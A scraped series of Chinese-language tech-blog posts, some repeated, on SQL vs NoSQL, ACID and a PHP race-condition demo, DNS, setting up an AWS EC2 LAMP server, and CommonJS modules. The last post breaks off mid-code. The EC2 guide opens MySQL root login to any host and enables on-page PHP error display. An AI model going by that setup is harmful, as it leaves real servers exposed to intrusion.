效能提升 | 針對資料表結構優化 | 基礎硬體大小、網路延遲 |
拓展 | 增加硬體運算能力 | 可以分割,透過分散式架構來向外擴展 |
API | 符合結構式查詢語言 (SQL) 的查詢 | 以物件為基礎的 API |
假設我們要從關聯式資料庫 Book 找一本叫制服女孩
的書,資料庫長得像下面這樣:
ID | Author | Year | Title |
1 | 史旺基 | 2014 | 制服女孩 |
2 | 珍.奧斯汀 | 2019 | 福爾摩斯小姐.貝克街的淑女偵探 |
3 | 馬克.弗雷利 | 2021 | 密碼的故事 |
SELECT Title, Year FROM book WHERE title = '制服女孩'
假設有一個使用 JSON 實作的 Book 資料表長得像下面這樣。
[
{
"year" : 2014,
"title" : "制服女孩",
"info" : {
"genres" : ["寫真", "高中"],
"photographer" : "史旺基"
}
},
{
"year": 2021,
"title": "密碼的故事",
"info": {
"grand": "xxx大獎",
"rating": 8.9
}
}
]
可以看到 NoSQL 可以很彈性的存取每本書的資訊。使用 AWS 的 DynamoDB 可以透過比對 key 的方式回傳書籍資訊,比如想找尋 title 是制服女孩的書。
import boto3
from boto3.dynamodb.conditions import Key
dynamodb = boto3.resource('dynamodb', endpoint_url='http://localhost:8000')
table = dynamodb.Table('Book')
response = table.query(KeyConditionExpression=Key('title').eq('制服女孩'))
for book in response['Items']:
print(book['title'])
在上面提到 SQL 以及 NoSQL 的比較提到了 ACID,這裡就來介紹 ACID。
在關聯式資料庫裡常常將資料異動的最小單位稱為一筆交易 (Transaction),舉個簡單的例子,在購物網站的資料庫,顧客下訂了一份巴斯克乳酪蛋糕,有三件事要做。
我們開始思考有甚麼規則是必須遵守的,首先這三個動作要都成功,要不然就都失敗,想像一下,如果步驟 2 成功了,但步驟 3 失敗了,店家認為的蛋糕數量就會比實際上少一個,等到發現的時候,蛋糕可能就壞掉了。
這也就是在一筆交易中要保持 Atomicity( 原子性 ),每一筆交易中只有兩種可能發生,第一種是全部完成 (commit),第二種是全部不完成 (rollback)。
第二個特性是 Consistency( 一致性 ),當錯誤發生,所有已更改的資料或狀態將會恢復至交易之前,相信這件事很好理解。
再來思考一下如果這個巴斯克乳酪蛋糕是超級搶手的限時商品,這時候會發生甚麼情況呢? 大量的訂單可能會同時湧入,就可能會發生 race condition 的情況。至於甚麼是 race condition 呢?
假設現在蛋糕只剩一個了,有兩筆時間非常接近的訂單湧入,我們來預估事件可能發生的情況。
第一筆訂單檢查蛋糕數量剩下一個,所以準備執行下一個動作
|
第二筆訂單檢查蛋糕數量剩下一個,所以準備執行下一個動作
|
第一筆訂單執行把蛋糕數量 -1 ,此時庫存顯示為 0
|
第二筆訂單執行把蛋糕數量 -1 ,此時庫存顯示為 -1
|
第一位客人的購物車放進一個蛋糕
|
第二位客人的購物車放進一個蛋糕
如果畫成簡易的圖大概會像這樣:
--->--->--->
--->--->--->
發現問題了嗎? 所謂的 race condition 就是指一個系統或者進程的輸出依賴於不受控制的事件出現順序。在這個搶購案例裡就出現的超賣的窘境。
要怎麼解決這個問題呢?如果在多筆交易同時進行時,未完成的交易資料並不會被其他交易使用,直到該筆交易完成,這樣就可以解決這個問題了。
而這也就是所謂的 Isolation( 隔離性 )。
最後這個特性雖然感覺有點雞肋但還是很重要的,我們必須保證交易完成後對資料的修改是永久性的,資料不會因為系統重啟或錯誤而改變。也就是所謂的 Durability ( 持續性 )。
剛剛提到在關聯式資料庫資料的異動是以 Transaction 為單位進行的,而每筆交易要保持 ACID 的特性。這邊我們來實作搶購系統的案例來實際演示一下。
我們在 mysql 建一個名叫 product 的資料表,裡面有一個庫存 3 的商品。
接著寫一個很陽春的搶購頁面。
<?php
require_once('conn.php');
$stmt = $conn->prepare("SELECT amount from products where id = 1");
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "amount" . $row['amount'];
if ($row['amount'] > 0) {
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
if ($stmt->execute()) {
echo '購買成功';
}
}
}
$conn->close();
?>
這個頁面會先檢查有沒有庫存,如果有的話就印出庫存數量,接著將資料庫內的庫存數量減 1,然後印出購買成功。
我們連續進入搶購頁面,看到庫存從 3->2->1->0 ,然後維持 0,沒有任何問題。
但如果一次有大量的人進入搶購頁面呢? 為了模擬這個情形,使用 jmeter 軟體來進行模擬。關於 jmeter 的安裝可以參考這裡。
先把資料庫裡的庫存數量調成 1
接著進入 jmeter 設定 10 的執行緒,延遲 0 秒。
設定要送出的請求內容,開始執行。
結果我們發現其中一個 request 竟然回傳 amount: -7,也就是說,10 筆 request 裡面竟然賣出了 8 筆,原來這就是 race condition。
明明只有一個庫存卻賣出了 8 個。
該怎麼辦呢? 回憶剛剛提到的 Transaction 提到的 ACID 特質,這個時候如果利用 Isolation 的特性來鎖住特定的 row,等一筆交易結束後才開鎖就可以解決了。所以我們修改一下搶購頁面的程式碼:
<?php
require_once('conn.php');
$conn->autocommit(FALSE);
$conn->begin_transaction();
$stmt = $conn->prepare("SELECT amount from products where id = 1 for update");
$stmt->execute();
$result = $stmt->get_result();
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
echo "amount" . $row['amount'];
if ($row['amount'] > 0) {
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
if ($stmt->execute()) {
echo '購買成功';
}
}
}
$conn->commit();
$conn->close();
?>
首先要把 autocommit 設定成 false,防止每次呼叫 excute 後就會執行 sql 語法。接著開啟一個 Transaction ,把動作都寫進 Transaction 裡,最後再 commit Transaction。
這樣一來
1.檢查有沒有庫存,如果有的話就印出庫存數量,沒庫存就結束
2.將資料庫內的庫存數量減 1
3.印出購買成功
就被包裝成一個 Transaction 了,自然也就具備了 Isolation( 隔離性 )。
等等,眼尖的你可能發現修改過的程式碼多了一個for update
$stmt = $conn->prepare("UPDATE products SET amount = amount - 1 where id = 1");
這是甚麼意思呢? 在 MySQL 的 InnoDB 中,預設的 Tansaction isolation level 是 REPEATABLE READ(可重讀)。雖然不能更新或刪除,但是超賣的問題就是因為沒有鎖住 row 的讀取而造成的。
SELECT 的讀取鎖定可以使用 for update,這樣一來在交易 (Transaction) 進行當中 SELECT 到同一個數據表時,都必須等待其它交易被提交 (Commit) 後才會執行。
那麼來測試新的搶購頁面,把庫存調回 1,把 jmeter 的設定改成造訪新的搶購頁面來執行。
最後應該可以從結果樹看到只有一筆交易會成功!
]]>大家都有用網址連接網站的經驗過吧,以這樣一個網址 www.ntu.edu.tw
為例,我們可以猜出一些有關於這個網址的端倪。原來這是位在台灣的教育機構-台灣大學的 www 伺服器裡的網頁內容。
雖然使用網址有語意,但是路由器並看不懂網址,它們只認得 IP 位址。所以必須要有一個資料庫儲存了網址/IP 位址,而這就是 DNS (Domain Name System),DNS 可以指這樣一個資料庫,也可以指提供這個服務的 Server。在設定網路的時候,會設定 DNS 的 IP 位址,這樣一來瀏覽器便知道要去哪裡找網址對應的 IP。
不知道你有沒有思考過,全世界有這麼多網站,一台 DNS 伺服器怎麼能存取大量資料甚至是順暢的提供服務。
為了解決這個棘手的問題,全世界的網址被區分成許多網域 (Domain),這些網域有不同的層級,看文字解釋有點模糊,那看看下面這張圖吧!
至於 DNS 系統實際上是如何運作的呢? 讓我們以 www.ntu.edu.tw
來舉例。
www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 tw 主網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 edu.tw 次要網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 ntu.edu.tw 次要網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」,那麼因為 Cloud Flare 有一個 www.ntu.edu.tw
的檔案,而且檔案裏面有一筆 A 紀錄寫著 140.112.8.116看起來很麻煩,所幸預設的 DNS Server 會把網址/IP 記錄下來,所以除非要造訪冷門網站,否則速度都會很快。
實際上想獲取 IP 位址的時候可以在終端機輸入
ping www.ntu.edu.tw
會返回 IP 位址
一般我們申請各種網路服務的時候,網路公司的人員都會幫我們設定好 DNS 伺服器,所以用的也是網路公司(ISP)提供的 DNS 伺服器,但是現在 Google 提供了公用的 DNS 伺服器,以下是 Google DNS Server 的 IP:
如果使用 Google Public DNS 的人多的話,Google 可以統計這些資訊,讓 Google 的搜尋引擎更強化,對使用者以及 Google 都是雙贏。
如果想要更換成 Google public DNS Server可以很簡單的在控制台更改設定,網路上有許多教學文章這裡就不再多佔篇幅了。
]]>大家都有用網址連接網站的經驗過吧,以這樣一個網址 www.ntu.edu.tw
為例,我們可以猜出一些有關於這個網址的端倪。原來這是位在台灣的教育機構-台灣大學的 www 伺服器裡的網頁內容。
雖然使用網址有語意,但是路由器並看不懂網址,它們只認得 IP 位址。所以必須要有一個資料庫儲存了網址/IP 位址,而這就是 DNS (Domain Name System),DNS 可以指這樣一個資料庫,也可以指提供這個服務的 Server。在設定網路的時候,會設定 DNS 的 IP 位址,這樣一來瀏覽器便知道要去哪裡找網址對應的 IP。
不知道你有沒有思考過,全世界有這麼多網站,一台 DNS 伺服器怎麼能存取大量資料甚至是順暢的提供服務。
為了解決這個棘手的問題,全世界的網址被區分成許多網域 (Domain),這些網域有不同的層級,看文字解釋有點模糊,那看看下面這張圖吧!
至於 DNS 系統實際上是如何運作的呢? 讓我們以 www.ntu.edu.tw
來舉例。
www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 tw 主網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 edu.tw 次要網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」www.ntu.edu.tw
的地址? 但我知道 ntu.edu.tw 次要網域 DNS Server 的地址是 xxx」www.ntu.edu.tw
的地址?」,那麼因為 Cloud Flare 有一個 www.ntu.edu.tw
的檔案,而且檔案裏面有一筆 A 紀錄寫著 140.112.8.116看起來很麻煩,所幸預設的 DNS Server 會把網址/IP 記錄下來,所以除非要造訪冷門網站,否則速度都會很快。
實際上想獲取 IP 位址的時候可以在終端機輸入
ping www.ntu.edu.tw
會返回 IP 位址
一般我們申請各種網路服務的時候,網路公司的人員都會幫我們設定好 DNS 伺服器,所以用的也是網路公司(ISP)提供的 DNS 伺服器,但是現在 Google 提供了公用的 DNS 伺服器,以下是 Google DNS Server 的 IP:
如果使用 Google Public DNS 的人多的話,Google 可以統計這些資訊,讓 Google 的搜尋引擎更強化,對使用者以及 Google 都是雙贏。
如果想要更換成 Google public DNS Server可以很簡單的在控制台更改設定,網路上有許多教學文章這裡就不再多佔篇幅了。
]]>首先註冊 AWS 的帳號以後選擇地區,我選擇美東(俄亥俄)。
選擇 EC2 的服務。
跑一台 EC2 的虛擬主機試試看吧!
選擇作業系統的映像檔,我選 Ubuntu 的作業系統。
接著選虛擬主機的配備,我乖乖選了免費的那個,畢竟目前還不需要處理能力很強的主機。
接著可以按下一步直到第四步,設定硬碟容量,預設 8G,我改成 16G。
下一步要設定防火牆,要開啟特定的 port 才可以連線到自己的 EC2。 除了預設的 SSH 以外因應要架設網頁伺服器所以再加開 HTTPS 以及 HTTP。
最後要產生一組公/私鑰,並且把私鑰給存起來,之後用 SSH 連線虛擬主機的時候會需要。
回到 EC2 的服務頁面,看看在運行中的 instances。
選擇剛剛租的虛擬主機,裡面有公開的 IPv4 地址。
因為剛架好的虛擬主機空空的,只有作業系統而已,所以接下來要安裝伺服器還有資料庫的程式。
首先開啟終端機,我使用的終端機是 Git bash,如果想要用圖形化介面登入虛擬主機可以使用 putty
,輸入存放私鑰的地址以及虛擬主機的
IPv4 來連線。
ssh -i ~/Documents/test.pem ubuntu@18.116.242.227
第一次連線因為本地端無法驗證遠端主機的身份。因為當第一次連接時,本地端主機沒有遠程主機的公鑰,因此需要確認遠端主機的身份,以確保您正在連接到正確的主機。
所以本地端詢問是否要將遠端主機的公鑰添加到本地端主機的 known_hosts 檔案中。輸入yes
,將會將遠端主機的公鑰添加到本地端主機的 known_hosts 檔案中,下次連接時就不會再收到提示。
連線成功,可以看到 IP 顯示 Private IPv4,可以回 AWS EC2 查看。
第一步先把虛擬主機的系統更新。使用 sudo 可以擁有 root 的權限,apt 是 ubuntu 系統內建的套件管理系統,輸入
sudo apt update && sudo apt upgrade && sudo apt dist-upgrade
接著安裝另一個套件管理程式Tasksel
,方便接下來快速安裝伺服器以及資料庫系統,輸入
sudo apt install tasksel
開始安裝伺服器程式,輸入
sudo tasksel install lamp-server
安裝好伺服器程式以後應該也會順便裝好資料庫,測試登入資料庫看看,我們試著以 root 的身分連進名叫 mysql 的資料庫輸入
sudo mysql -u root mysql
成功連進資料庫應該會看到 prefix 變成 mysql>
,代表接著可以輸入 mysql 語法。
到這邊先輸入
exit;
記得 mysql 的語法結尾要加上分號,因為我比較喜歡圖形化介面,所以測試有安裝 mysql 以後就先跳出來。接著安裝 myphpadmin,這是一個用 php 寫成的 mysql 圖形化管理系統。輸入
sudo apt install phpmyadmin
看到這個畫面以後按空白鍵選擇把 myphpadmin 裝在 apache server 底下,再按 enter。
接下來因為我們的資料庫是空的,所以選擇 dbconfig-common 就好,直接按 eneter。
安裝好 phpmyadmin 以後要幫 phpmyadmin 設定一組密碼,因為當我們使用 myphpadmin 操作時,背後的原理是登入使用者 myphpadmin 到 mysql 進行操作。如果不設的話,系統還是會隨機產生一組密碼。
基本設定到這邊差不多結束了,接著我們希望增加安全性,所以希望幫 mysql 的使用者 root 也設定一組密碼。輸入
sudo mysql -u root mysql
用 root 登入以後改變 mysql 這個資料庫裡 user 這張表格的設定為 root 要使用密碼登入,輸入 mysql 語法
UPDATE user SET plugin='mysql_native_password' WHERE User='root';
接著把 user 的設定提取到內存裡,這樣就可以在不重新啟動 mysql 的情況下讓改動生效,這樣可以防止修改 root 設定以後,重開 mysql 無法登入的尷尬情況。輸入
FLUSH PRIVILEGES;
exit;
接著要設定 root 的密碼,輸入
sudo mysql_secure_installation
再來要選擇密碼強度,不同的強度有不同規範,我選擇 1,要符合長度大於 8、包含大小寫、包含特殊字元三個規定。
接著可以一直選擇 yes,到了要不要允許阻擋遠端連線到 mysql,我選擇 no,這邊可以依照個人喜好。
然後繼續輸入 yes,直到 All done。
最後確定一下有沒有架站成功,在瀏覽器輸入 IPv4/,觀察是不是出現這個畫面。
然後在瀏覽器輸入 IPv4/phpmyadmin,輸入帳號 root 以及剛剛設定的密碼試試看能不能登入成功。
虛擬主機有了,伺服器有了,資料庫也有了,接下來就把以前寄人籬下的資料表都匯進自己的資料庫吧!
首先先登入原本存放資料表的地方,點擊 export,接著選擇 Costom,勾選要輸出的資料表們,匯出格式選 SQL。
拉到最下面匯出。
好奇瞧一瞧輸出了甚麼,原來是一堆創建 table 還有插入資料的語法,所以匯入的時候就會執行這些 mysql 語法省得自己輸入到崩潰。
再來登入自己的 phpmyadmin,一樣在瀏覽器輸入 IPv4/phpmyadmin。
登入以後選擇或創建一個資料庫來匯入。這邊示範建立一個名叫 boching 的資料庫,global 的編碼我選擇 utf8_general_ci
,因為這樣可以正常顯示 emoji。
接著點擊 import,以檔案匯入剛剛匯出的 SQL 檔,按 GO 執行。
成功以後可以看到冒出了好多資料表。
我們輸入 IPv4/phpmyadmin 登入 mysql 的時候,其實不是直接用 3306 port 直接遠端連線,是先透過 HTTP/HTTPS 連線到虛擬主機以後,虛擬主機再用 localhost 連線 3306 port。
如果我們想用 mysql workbench 之類的軟體遠端連線到 mysql,在目前的設定下會失敗。
讓我們來破解一層層的限制吧!
首先回到 AWS,選擇 EC2,選擇剛剛創建的虛擬主機,然後點擊 Security 來設定防火牆。
點擊編輯防火牆設定。
新增 MYSQL port。
很可惜的是這樣還不夠(直接劇透)。因為 mysql 本身還會阻擋遠端連線,那就繼續努力吧!
先連線到虛擬主機
ssh -i ~/Documents/test.pem ubuntu@18.116.242.227
修改 mysqld.cnf 裡的設定。
sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf
輸入 /bind-address
搜尋到 bind-address = 127.0.0.1 那行,在最前面加上 # 或 將 127.0.0.1 改成 0.0.0.0,記得要 wq 喔!
然後重啟 mysql。輸入
sudo service mysql restart
最後一步,我們登入 phpmyadmin 來解除個別使用者的遠端連線限制。點擊 User accounts,編輯 root 使用者的權限,選擇 Any Host。
執行以後,到 SQL 先輸入 FLUSH PRIVILEGES。然後回到 User accounts 繼續完成設定。
大致上終於完成了,接著設定租域名以及設定子網域的部分可以參考AWS EC2 部署網站:卡關記錄 & 心得。
因為如果要使用 HTTPS 連線的話要有 SSL 信賴憑證,所以我們把 DNS 設定轉交給 CloudFLare,請參考 CloudFlare 介紹與設定,這樣我們就有免費的 SSL 憑證了。
大功告成以後就可以把東西都塞進伺服器裡,伺服器預設會去找 /var/www/html/ 下的資料,所以我們先把權限開起來。
連線到虛擬主機後在終端機輸入
sudo chown ubuntu /var/www/html
現在可以開心地把 github 上的東西直接拉下來了,輸入
git clone 'repository 的網址'
如果想要圖形化介面傳輸檔案,可以開啟例如 FileZilla 之類的軟體,選擇 SFTP,輸入 IPv4,使用者 ubuntu,並上傳密鑰就可以連線了。
登入成功啦,一樣進到 /var/www/html 來把資源丟進來。
小提醒,記得把 php 的連線檔改成新的使用者名稱以及密碼喔,這樣基本上就大功告成了。
如果有閒情逸致的話可以對伺服器處理 PHP 檔作一些設定。
可以先設定 PHP 的 short cut,就不用每次都寫 <?php ?>
,可以寫成 <? ?>
,除此之外還有其他 short cut。
在終端機輸入
sudo vim /etc/php/7.2/apache2/php.ini
這是伺服器執行 PHP 的設定檔,把 short_open_tag = 改成 On。
先別急著 wq,可以順便設定讓 PHP 噴的錯會顯示在網頁上。
把 display_errors = 改成 On,error_reporting = 改成 E_ALL 然後 wq。
注意不要直接新增,要把原本的改掉,不然最後還是會被蓋掉。
如果只想顯示某些等級的錯誤可以看 php.ini 裡面註解。要注意的是在 php.ini 裡的改動是全域的,實際上在各個 php 檔裡面還是可以另外把規則給覆蓋掉。
最後重啟 apache2 讓改動生效,輸入
sudo service apache2 restart
因為怕資料外流所以我最後把示範的虛擬主機停用。
一樣登入 AWS,並選擇 EC2,點選要停用的虛擬主機,在 Instance state 下拉選單中選擇 Terminate instance。
不久以後,就不會再看到被 terminate 的 instance 了。
]]>首先註冊 AWS 的帳號以後選擇地區,我選擇美東(俄亥俄)。
選擇 EC2 的服務。
跑一台 EC2 的虛擬主機試試看吧!
選擇作業系統的映像檔,我選 Ubuntu 的作業系統。
接著選虛擬主機的配備,我乖乖選了免費的那個,畢竟目前還不需要處理能力很強的主機。
接著可以按下一步直到第四步,設定硬碟容量,預設 8G,我改成 16G。
下一步要設定防火牆,要開啟特定的 port 才可以連線到自己的 EC2。 除了預設的 SSH 以外因應要架設網頁伺服器所以再加開 HTTPS 以及 HTTP。
最後要產生一組公/私鑰,並且把私鑰給存起來,之後用 SSH 連線虛擬主機的時候會需要。
回到 EC2 的服務頁面,看看在運行中的 instances。
選擇剛剛租的虛擬主機,裡面有公開的 IPv4 地址。
因為剛架好的虛擬主機空空的,只有作業系統而已,所以接下來要安裝伺服器還有資料庫的程式。
首先開啟終端機,我使用的終端機是 Git bash,如果想要用圖形化介面登入虛擬主機可以使用 putty
,輸入存放私鑰的地址以及虛擬主機的
IPv4 來連線。
ssh -i ~/Documents/test.pem ubuntu@18.116.242.227
第一次連線因為本地端無法驗證遠端主機的身份。因為當第一次連接時,本地端主機沒有遠程主機的公鑰,因此需要確認遠端主機的身份,以確保您正在連接到正確的主機。
所以本地端詢問是否要將遠端主機的公鑰添加到本地端主機的 known_hosts 檔案中。輸入yes
,將會將遠端主機的公鑰添加到本地端主機的 known_hosts 檔案中,下次連接時就不會再收到提示。
連線成功,可以看到 IP 顯示 Private IPv4,可以回 AWS EC2 查看。
第一步先把虛擬主機的系統更新。使用 sudo 可以擁有 root 的權限,apt 是 ubuntu 系統內建的套件管理系統,輸入
sudo apt update && sudo apt upgrade && sudo apt dist-upgrade
接著安裝另一個套件管理程式Tasksel
,方便接下來快速安裝伺服器以及資料庫系統,輸入
sudo apt install tasksel
開始安裝伺服器程式,輸入
sudo tasksel install lamp-server
安裝好伺服器程式以後應該也會順便裝好資料庫,測試登入資料庫看看,我們試著以 root 的身分連進名叫 mysql 的資料庫輸入
sudo mysql -u root mysql
成功連進資料庫應該會看到 prefix 變成 mysql>
,代表接著可以輸入 mysql 語法。
到這邊先輸入
exit;
記得 mysql 的語法結尾要加上分號,因為我比較喜歡圖形化介面,所以測試有安裝 mysql 以後就先跳出來。接著安裝 myphpadmin,這是一個用 php 寫成的 mysql 圖形化管理系統。輸入
sudo apt install phpmyadmin
看到這個畫面以後按空白鍵選擇把 myphpadmin 裝在 apache server 底下,再按 enter。
接下來因為我們的資料庫是空的,所以選擇 dbconfig-common 就好,直接按 eneter。
安裝好 phpmyadmin 以後要幫 phpmyadmin 設定一組密碼,因為當我們使用 myphpadmin 操作時,背後的原理是登入使用者 myphpadmin 到 mysql 進行操作。如果不設的話,系統還是會隨機產生一組密碼。
基本設定到這邊差不多結束了,接著我們希望增加安全性,所以希望幫 mysql 的使用者 root 也設定一組密碼。輸入
sudo mysql -u root mysql
用 root 登入以後改變 mysql 這個資料庫裡 user 這張表格的設定為 root 要使用密碼登入,輸入 mysql 語法
UPDATE user SET plugin='mysql_native_password' WHERE User='root';
接著把 user 的設定提取到內存裡,這樣就可以在不重新啟動 mysql 的情況下讓改動生效,這樣可以防止修改 root 設定以後,重開 mysql 無法登入的尷尬情況。輸入
FLUSH PRIVILEGES;
exit;
接著要設定 root 的密碼,輸入
sudo mysql_secure_installation
再來要選擇密碼強度,不同的強度有不同規範,我選擇 1,要符合長度大於 8、包含大小寫、包含特殊字元三個規定。
接著可以一直選擇 yes,到了要不要允許阻擋遠端連線到 mysql,我選擇 no,這邊可以依照個人喜好。
然後繼續輸入 yes,直到 All done。
最後確定一下有沒有架站成功,在瀏覽器輸入 IPv4/,觀察是不是出現這個畫面。
然後在瀏覽器輸入 IPv4/phpmyadmin,輸入帳號 root 以及剛剛設定的密碼試試看能不能登入成功。
虛擬主機有了,伺服器有了,資料庫也有了,接下來就把以前寄人籬下的資料表都匯進自己的資料庫吧!
首先先登入原本存放資料表的地方,點擊 export,接著選擇 Costom,勾選要輸出的資料表們,匯出格式選 SQL。
拉到最下面匯出。
好奇瞧一瞧輸出了甚麼,原來是一堆創建 table 還有插入資料的語法,所以匯入的時候就會執行這些 mysql 語法省得自己輸入到崩潰。
再來登入自己的 phpmyadmin,一樣在瀏覽器輸入 IPv4/phpmyadmin。
登入以後選擇或創建一個資料庫來匯入。這邊示範建立一個名叫 boching 的資料庫,global 的編碼我選擇 utf8_general_ci
,因為這樣可以正常顯示 emoji。
接著點擊 import,以檔案匯入剛剛匯出的 SQL 檔,按 GO 執行。
成功以後可以看到冒出了好多資料表。
我們輸入 IPv4/phpmyadmin 登入 mysql 的時候,其實不是直接用 3306 port 直接遠端連線,是先透過 HTTP/HTTPS 連線到虛擬主機以後,虛擬主機再用 localhost 連線 3306 port。
如果我們想用 mysql workbench 之類的軟體遠端連線到 mysql,在目前的設定下會失敗。
讓我們來破解一層層的限制吧!
首先回到 AWS,選擇 EC2,選擇剛剛創建的虛擬主機,然後點擊 Security 來設定防火牆。
點擊編輯防火牆設定。
新增 MYSQL port。
很可惜的是這樣還不夠(直接劇透)。因為 mysql 本身還會阻擋遠端連線,那就繼續努力吧!
先連線到虛擬主機
ssh -i ~/Documents/test.pem ubuntu@18.116.242.227
修改 mysqld.cnf 裡的設定。
sudo vim /etc/mysql/mysql.conf.d/mysqld.cnf
輸入 /bind-address
搜尋到 bind-address = 127.0.0.1 那行,在最前面加上 # 或 將 127.0.0.1 改成 0.0.0.0,記得要 wq 喔!
然後重啟 mysql。輸入
sudo service mysql restart
最後一步,我們登入 phpmyadmin 來解除個別使用者的遠端連線限制。點擊 User accounts,編輯 root 使用者的權限,選擇 Any Host。
執行以後,到 SQL 先輸入 FLUSH PRIVILEGES。然後回到 User accounts 繼續完成設定。
大致上終於完成了,接著設定租域名以及設定子網域的部分可以參考AWS EC2 部署網站:卡關記錄 & 心得。
因為如果要使用 HTTPS 連線的話要有 SSL 信賴憑證,所以我們把 DNS 設定轉交給 CloudFLare,請參考 CloudFlare 介紹與設定,這樣我們就有免費的 SSL 憑證了。
大功告成以後就可以把東西都塞進伺服器裡,伺服器預設會去找 /var/www/html/ 下的資料,所以我們先把權限開起來。
連線到虛擬主機後在終端機輸入
sudo chown ubuntu /var/www/html
現在可以開心地把 github 上的東西直接拉下來了,輸入
git clone 'repository 的網址'
如果想要圖形化介面傳輸檔案,可以開啟例如 FileZilla 之類的軟體,選擇 SFTP,輸入 IPv4,使用者 ubuntu,並上傳密鑰就可以連線了。
登入成功啦,一樣進到 /var/www/html 來把資源丟進來。
小提醒,記得把 php 的連線檔改成新的使用者名稱以及密碼喔,這樣基本上就大功告成了。
如果有閒情逸致的話可以對伺服器處理 PHP 檔作一些設定。
可以先設定 PHP 的 short cut,就不用每次都寫 <?php ?>
,可以寫成 <? ?>
,除此之外還有其他 short cut。
在終端機輸入
sudo vim /etc/php/7.2/apache2/php.ini
這是伺服器執行 PHP 的設定檔,把 short_open_tag = 改成 On。
先別急著 wq,可以順便設定讓 PHP 噴的錯會顯示在網頁上。
把 display_errors = 改成 On,error_reporting = 改成 E_ALL 然後 wq。
注意不要直接新增,要把原本的改掉,不然最後還是會被蓋掉。
如果只想顯示某些等級的錯誤可以看 php.ini 裡面註解。要注意的是在 php.ini 裡的改動是全域的,實際上在各個 php 檔裡面還是可以另外把規則給覆蓋掉。
最後重啟 apache2 讓改動生效,輸入
sudo service apache2 restart
因為怕資料外流所以我最後把示範的虛擬主機停用。
一樣登入 AWS,並選擇 EC2,點選要停用的虛擬主機,在 Instance state 下拉選單中選擇 Terminate instance。
不久以後,就不會再看到被 terminate 的 instance 了。
]]>如果想知道 Webpack 的功能,那肯定得先知道模組化的概念,模組化的概念可以想像成拼裝,舉個例子來說,掃地機器人的組成有動力模組、智能模組、集塵器、紅外線偵測系統、灰塵感應器等等。
而在組裝一隻掃地機器人時,我們可以在很大程度上隨自己的喜好去搭配自己喜歡的模組來完成自己的掃地機器人。
也就是說,一個可以模組化的東西會包含這幾種特性。
而模組化的設計在高度客製化的軟體開發裡,就變得十分適合。
假如我們在使用 Node.js 寫一個專案的時候,把功能型函式給切到 utils.js 裡,這邊的範例是用來確保丟進這個函式的物件之後可以以 Array 的型態進行操作。
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
在主程式 main.js 裡,我們試著引入 utils.js
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
var result = example.map(function(element) {
return element * 3
})
console.log(result) //ERROR: example.map is not a function.
可以發現透過引入 utils.js 裡的 getEnsuredArray 函數,可以避免對不是陣列的物件使用陣列方法而報錯的情況。
這種用 module.exports 把東西導出,用 require 把模組引入 的寫法是根據一種叫作 CommonJS 的標準。在 ES6 以前,JavaScript 本身沒有規範任何與模組相關的使用機制,所以各個執行平台可以依照自己選擇的方式去實作,Node.js 採用的就是 CommonJS。
但可惜的是,瀏覽器上並不支援,所以無法使用 module.exports,也沒辦法用 require。
如果我們可以用原生的 JavaScript 模擬 CommonJS 中 export 還有 require 效果,那麼就可以自己把 CommonJS 編譯到瀏覽器上執行了!
我們的目標是讓 require('./utils.js)
回傳的東西就是 utils.js 裡的 module.exports
,那麼來實際試試看吧。
首先在主程式要用到 require 這個函式,所以先把主程式打包成一個函式,並傳入參數(函式)require:
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
接著把模組也包成一個函式,記得在模組裡用到 module.exports 的語法嗎?所以這個打包起來的函示要傳入物件 module:
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
接著把一個物件帶入 utils 函式執行,這個物件的 exports 屬性便成功指向了 getEnsuredArray。
除此之外,我們可以注意到 main.js 以及 utils.js 都被包在函式裡面,也就是說他們的作用域都是私有的。
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
return [item]; // 如果不是返回陣列
}
return item;
}
module.exports = getEnsuredArray // 把這個函式 export 出去
}
// 產生一個 m 並丟到 utils,讓 m 帶上 exports 的物件
var m = {}
utils(m)
})
有了 module.exports,最後一步要執行主程式。看一下打包好的主程式需要傳入一個 require 函式,也就是說我們希望 require('./utils') 可以回傳 module.exports。
// 把主程式包起來,傳入 require 函式
function main(require) {
// main.js
var getEnsuredArray = require('./utils')
var example = 10
var result = getEnsuredArray(example).map(function(element) {
return element * 3
})
console.log(result) //[30]
}
// 把模組包起來,傳入 module 物件
function utils(module) {
//utils.js
const getEnsuredArray = item => {
if (!Array.isArray(item)) { //確認是不是陣列型態
